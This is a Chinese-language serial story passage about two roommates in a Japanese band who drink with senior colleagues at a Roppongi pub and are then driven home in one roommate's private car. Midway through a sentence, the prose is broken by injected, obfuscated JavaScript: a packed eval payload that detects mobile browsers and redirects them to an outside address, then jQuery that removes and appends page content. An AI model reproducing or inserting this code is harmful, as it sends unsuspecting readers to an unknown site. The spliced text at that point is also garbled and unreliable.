摩托车平稳地停在六本木一丁目附近一条不那么起眼的街边。「TheAldgate」的招牌是低调的黄铜色，橱窗里透出温暖而并不炫目的灯光。发动机低沉的声音熄灭后，周遭恢复了都市夜晚的喧嚣。
林光停好车，取下头盔，目光在酒吧门口停留了片刻，才转向星野：“是这里？”
“嗯！”星野也取下头盔，整理了一下被压乱的头发，语气带着点期待，“「TheAldgate」，你也听说过吧？圈里很多人推荐的酒吧，说是音响和酒单选品都很棒，不容易被打扰。”她注意到林光打量环境的眼神。
林光微微颔首，证实了星野的说法：“嗯。听说过。一直想来看看，但总抽不出时间。”她的语气里带着一丝不易察觉的认可，似乎对这家酒吧的声誉有所了解且抱有良好印象。
推开厚重的木门，内部是传统的英式pub装修，木质结构吧台被打磨得温润，深色皮革卡座，灯光偏暗但足够看清彼此。空气中混合着麦芽啤酒、威士忌和炸物的香气，背景播放着不算吵闹的布鲁斯音乐。远藤纱由里、佐藤明奈、影山有希和星宮希美早已占据了一张靠里的长桌，正笑着聊天。
看到星野和林光进来，她们立刻挥手。
“夜海！这里！”
“哦呀？这不是林光酱吗？好久不见！”远藤纱由里第一个认出林光，笑着打招呼，语气熟稔而友好。
佐藤明奈也笑着点头示意：“上次音乐节后台见过一面，没想到你和夜海成了室友。”
影山有希和星宮希美也纷纷笑着打招呼，态度亲切自然，显然是知道并且认识林光的，完全是对待圈内靠谱后辈的态度。
这种意料之中的熟稔让星野松了口气，也让林光放松了些许戒备。她微微躬身，礼貌地回应：“纱由里前辈，明奈前辈，有希前辈，希美前辈，晚上好。打扰了。”
“什么打扰，快坐快坐！”星宮希美热情地挪出位置，“夜海这家伙，这么厉害的室友入住了也不早点带出来给大家认识！”
大家热情地给林光挪出位置。佐藤明奈自然地把酒单推给林光，笑道：“小光，听说你很懂行？这里的单一麦芽很不错哦，看看有没有你感兴趣的。”语气是前辈对后辈的友善和一点考校的意味。
林光接过酒单，并没有客气，目光迅速而专业地扫过威士忌那栏。
“的确很久没来了，”她应和着刚才的话，然后直接对酒保报出一个名字，“一杯余市10年，加冰，谢谢。”
这个选择让在座几位露出了“果然懂行”的赞许表情。
“哇哦，余市！有品位！”
“看来是真行家！”
酒吧的招牌小吃——炸鱼薯条、牛肉派、烤香肠拼盘——也陆续上桌。星野夜海的眼睛瞬间亮了起来。
“我开动了！”她双手合十，声音雀跃，然后几乎是立刻进入了“战斗状态”。她吃东西的样子和她舞台上的优雅姿态截然不同，带着一种专注而旺盛的活力，腮帮子很快被食物塞得鼓鼓囊囊，像只储存粮食的仓鼠，速度惊人却又奇异地并不显得粗鲁，反而让人看了很有食欲。
“夜海还是这么能吃啊，”远藤纱由里笑着调侃，语气里满是宠爱，“每次看她吃饭，都觉得东西特别香。”
佐藤明奈也点头附和：“是啊，和她一起吃饭总会忍不住多点很多。”
林光端着那杯琥珀色的威士忌，坐在喧闹的角落。她的话依然不多，但神情比工作时要放松的多。她认真倾听前辈们讨论最近的舞台剧或音乐项目，在被问到的时候，偶尔在专业问题上言简意赅地发表一两句精准的看法。
当星野玩简单的骰子游戏输掉后耍赖时，林光的嘴角会扬起一个清晰的、无奈的弧度。她的目光偶尔落在星野面前快速消失的食物上，眼中闪过一丝几不可察的惊讶和……或许是觉得有趣的神情，也许许吃也是星野前辈放松心情的方式。
杯中的酒水起起伏伏，佐藤明奈轻轻晃着杯中的威士忌，目光温和地落在星野身上，语气带着一丝不易察觉的叹息，开口打破了轻松的氛围：
“说起来……夜海，”她的声音比刚才柔和了许多，“前几天，在NHK的录制现场，在很远的地方看到小春了。”她用了加藤春树的昵称，表明了她的熟稔。
热闹的桌席瞬间安静了几分。远藤纱由里放下了正要拿薯条的手，影山有希和星宮希美也收敛了笑容，关切地看向星野。
星野握着杯子的手指微微收紧了一下，脸上的笑容淡了些，但并没有立刻崩溃，只是轻轻“嗯”了一声，垂下眼帘，盯着杯子里晃动的液体。
佐藤明奈继续轻声说道，语气里没有评判，只有观察和一丝无奈：“她看起来……瘦了很多，虽然还是在笑，和工作人员打招呼也很周到，但整个人像是被抽掉了一部分精气神，安静得让人心疼。”
远藤纱由里接话道，她的性格更直爽一些：“你们两个啊……真是的。明明都是那么好的人。”她叹了口气，“事务所的人私下也在传，说加藤家那边……压力给得不是一般的大。她那个古板的老爹，怕是根本没法接受这种事吧？”
影山有希撑着下巴，语气有些愤愤不平：“这都什么年代了……而且小春自己又不是那种离了家族就活不下去的人，她现在的地位也是自己一拳一脚打出来的啊。真是想想就让人生气。”
星宮希美拍了拍星野的肩膀，试图用轻松一点的语气安慰：“好啦好啦，不说这些不开心的了。反正呢，我们都觉得挺可惜的。以前你们俩偷偷摸摸给我们塞狗粮的时候，虽然觉得你们胆子真大，但也真是挺配的。”她这话是对星野说，但眼神也瞟了一眼旁边安静倾听的林光，仿佛在向她解释什么。
佐藤明奈最后总结道，她的目光再次变得锐利了一些，但这次是针对事情本身：“总之，夜海，事情过去了就过去了。我们提起这个，不是想惹你难过。只是想说，我们都明白是怎么回事，你也别一个人钻牛角尖，觉得都是自己的错或者怎么样。有些战斗，不是光靠‘喜欢’就能赢的。”
朋友们你一言我一语，没有过多追问细节，更多的是表达一种“我们知道了，我们理解，我们心疼”的态度。星野一直低着头，听着朋友们的话，鼻尖微微发红，但没有哭出来。她只是轻轻点了点头，声音有些哽咽：“……谢谢。我知道的。”
这时，一直安静坐在旁边、小口品着余市威士忌的林光，忽然将自己面前那碟几乎没动过的、烤得恰到好处的香肠拼盘，再次默默地推到了星野面前。这个举动吸引了所有人的目光。星野抬起头，看了看香肠，又看了看林光平静无波的侧脸，突然“噗嗤”一声，带着泪花笑了出来：“光小姐……你这是把我当宠物在喂吗？”
气氛瞬间被这句带着哭腔的玩笑话打破，大家都笑了起来。
远藤纱由里揶揄道：“看来有人找到了新的投喂对象啊！”
佐藤明奈也意味深长地笑了笑：“嗯，看来是不用我们太担心了。”
她单手托腮，眼神带着醉后的好奇和一丝前辈的调侃，目光转向了始终安静但存在感极强的林光。
“不过话说回来……”她拖长了语调，成功吸引了所有人的注意，“夜海这边我们是暂时放心了。那……小光呢？”
林光握着杯子的手几不可察地顿了一下。
明奈笑着继续问，语气友善但探究：“长得这么帅气，打鼓又厉害，肯定很受欢迎吧？从来没见过你身边有什么人，是要求太高了，还是……有什么精彩的故事没告诉我们呀？”这个问题带着醉后的直白和亲密，也代表了其他几位朋友的好奇。
桌面上瞬间安静了一瞬，酒桌上所有人的目光都聚焦在林光身上。
林光的身体出现了极其轻微的僵硬。她没有立刻回答，眼神从明奈脸上移开，落向自己杯中的琥珀色液体，仿佛那里面藏着答案。这是一种明确的回避姿态。她周围的空气似乎瞬间降温了几度。
就在这短暂的、略显尴尬的沉默即将蔓延开时——
“前辈……这个问题我不能随便回答……事务所那边……”
“喂！明奈！”
星野夜海带着明显醉意、但异常清晰的声音响了起来。她几乎是立刻转过身，伸出手臂，像是老母鸡护小鸡一样，虚虚地挡在了林光身前，脸颊红扑扑地瞪着佐藤明奈。
“不可以问这种问题！”她的语气带着醉后的蛮横和撒娇，但维护之意显而易见，“小光会害羞的！而且……而且！”
她似乎想找个更强大的理由，脑子在酒精里转了半天，终于灵光一闪，大声宣布：“而且这是商业机密！对吧小光！我们‘营业’合同里写了不能乱说的！”她把这个她们之间心知肚明的“营业”梗搬了出来，用一种胡搅蛮缠的方式试图堵住朋友的嘴。
这个离谱的理由让其他人都愣了一下，随即爆发出善意的哄笑。
“小家伙，警惕性还是不错的嘛。”
“哈哈哈什么商业机密啊！”
“夜海你醉傻了吧！”
远藤纱由里也笑着打圆场，拍了拍明奈的肩膀：“好了好了，明奈，别为难小光了。看她都快钻到桌子底下去了。”她巧妙地给了林光一个台阶下。
影山有希也点头附和：“就是，每个人都有自己的节奏嘛。林光一看就是专注事业的类型。”
星野见大家不再追问，这才满意地缩回手，得意洋洋地冲林光扬了扬下巴，仿佛在说“看，我厉害吧”。然后，她又非常自然地把林光刚才推过来的那碟香肠，叉起最后一块，塞进嘴里，用实际行动掩饰自己刚才略显激动的维护。
林光始终微低着头，直到话题转移，才几不可察地松了口气。她抬起眼，飞快地瞥了一眼身边正鼓着腮帮子吃东西、仿佛什么都没发生的星野，眼神深处闪过一丝极其复杂的、难以解读的情绪——有对解围的感激，有对“商业机密”这个借口的无奈，或许还有一丝……对这份维护的触动。
她什么也没说，只是端起酒杯，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403826|184388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将剩下的一点余市威士忌轻轻饮尽。冰冷的玻璃杯壁，似乎也无法完全冷却指尖刚刚升起的那一点微妙的温度。
酒吧内的喧嚣和暖意被隔绝在身后，六本木夜晚微凉的空气瞬间包裹了两人。星野下意识地紧了紧大衣，脸上还带着微醺的红晕，眼神却因为刚才关于过去的沉重话题而显得有些飘忽。
“小光，”她转过头，声音带着点懒洋洋的醉意，“要不要叫出租车？机车不能骑了吧？”
“嗯。”林光点点头，拿出手机晃了晃，屏幕上是刚刚发送出去的消息，“我叫了车。也会有人来帮我把摩托骑回去。”她的安排一如既往地简洁周全。
这时，远藤纱由里和佐藤明奈她们也吵吵嚷嚷地走了出来，兴致高昂地提议：“夜海，林光酱，要不要再去第二摊？我知道附近有一家……”
星野立刻挽住林光的胳膊，像是找到了完美的借口，带着歉意的笑容对朋友们摆摆手：“啊，抱歉抱歉！明天一大早还要去公司拍新的公式照，状态太差会被幸子小姐骂的！下次，下次一定！”她的语气撒娇又坚决。
朋友们了然又揶揄地笑了，也没再强求，互相道别后嬉笑着融入了涩谷的人流。
就在林光和星野刚在路边站定不到一分钟，一辆庞大且极具压迫感的黑色凯迪拉克凯雷德如同幽灵般悄无声息地滑到她们面前，精准地停下。其强大的气场与周围时尚轻快的街区氛围形成一种奇特的对比。
副驾驶车门打开，一位身着合体黑色西装、身形精干、表情严肃的年轻男子利落地下车，对着林光微微躬身，没有多余言语。
林光似乎早已料到，非常自然地从口袋里掏出机车钥匙递给他。男子双手接过钥匙，再次一颔首，便转身快步走向林光停在不远处的黑色机车，动作干净利落，训练有素。
几乎同时，驾驶座的车门打开，一名梳着背头的中年男子从主驾走了下来。他同样穿着西装，年纪稍长，气质沉稳如山。他目光先快速扫过周围，然后落在林光身上，微微点头：“光小姐。”他的声音低沉平稳，带着一丝不易察觉的关西口音。随即，他看向星野，也礼貌地致意：“星野小姐。”态度恭敬却不过分谦卑。
他拉开宽大厚重的后座车门，用手护在门框上：“请上车。”
星野被这突如其来的、电影般的阵仗弄得有点懵，下意识地跟着林光的动作钻进了车里。
车内是另一个世界。极致的静谧将外面的世界完全隔绝，奢华的内饰在柔和的氛围灯下流淌着温润的光泽，空气中弥漫着高级皮革和淡淡木质调的香气。
司机平稳地启动车辆，汇入车流。庞大的SUV在他的操控下异常稳健。
星野好奇地透过深色的隐私玻璃看向窗外流光溢彩的街景，兴奋地用胳膊肘轻轻碰了碰身边的林光，压低声音说：“小光……你叫的这是什么车啊？也太厉害了吧！这得是什么级别的专车服务？”
林光还没有回答，正在开车的司机通过后视镜，与林光的目光有了一瞬间的接触，两人眼中都闪过一丝难以察觉的笑意。
“不是专车。”林光的声音很平静，带着一丝淡淡的调侃，“这是我自己的车。”
“诶？！！”星野瞬间转过头，眼睛瞪得圆圆的，酒都醒了一半，难以置信地看着林光，又看看车内这难以置信的空间和奢华感，“你、你自己的车？！这……这车……”
她一时间找不到合适的词，目光在前排驾驶座的中村隼和林光之间来回移动，忽然觉得身边这位鼓手后辈的形象变得更加神秘和深不可测。
“这位是我的叔叔，你可以喊他中村先生。”
“您好，星野小姐，鄙人姓中村，中村隼，请多指教。”
中村隼专注地开着车，寒暄没能让他的表情发生任何松动。
车辆很快驶入涩谷那些安静且管理严格的街道，稳稳地停在了星野公寓楼下的路边。
中村隼下车，为她们打开车门。
在林光和星野下车后，中村隼并没有立刻离开，而是对林光低声说道：“光小姐，您之前提过的那几家店，秋冬的新品目录和部分成衣已经送到了。您看什么时候方便过目一下？”
林光想了想：“明天下午之后吧，时间确定了我会告诉你。”
“明白了。”中村隼微微躬身，“那么，晚安。光小姐，星野小姐。”
说完，他便回到驾驶座，那辆黑色的巨兽无声地滑入夜色，消失不见。
留下星野站在原地，还在消化刚才的信息量，晚风吹起她的发丝。她看着身旁一脸平静的林光，感觉今晚的“惊喜”似乎一个接一个。
“走吧，前辈。”林光的声音打断了她的思绪，示意她该上楼了。
星野眨了眨眼，终于从震惊中回过神来，脸上重新浮现出好奇又兴奋的笑容，快步跟上林光：“等等我！小光，你刚才说的是真的吗？那车真的是你的？还有那个中村先生……”她的问题像连珠炮一样，在公寓大堂温暖的光线下回荡。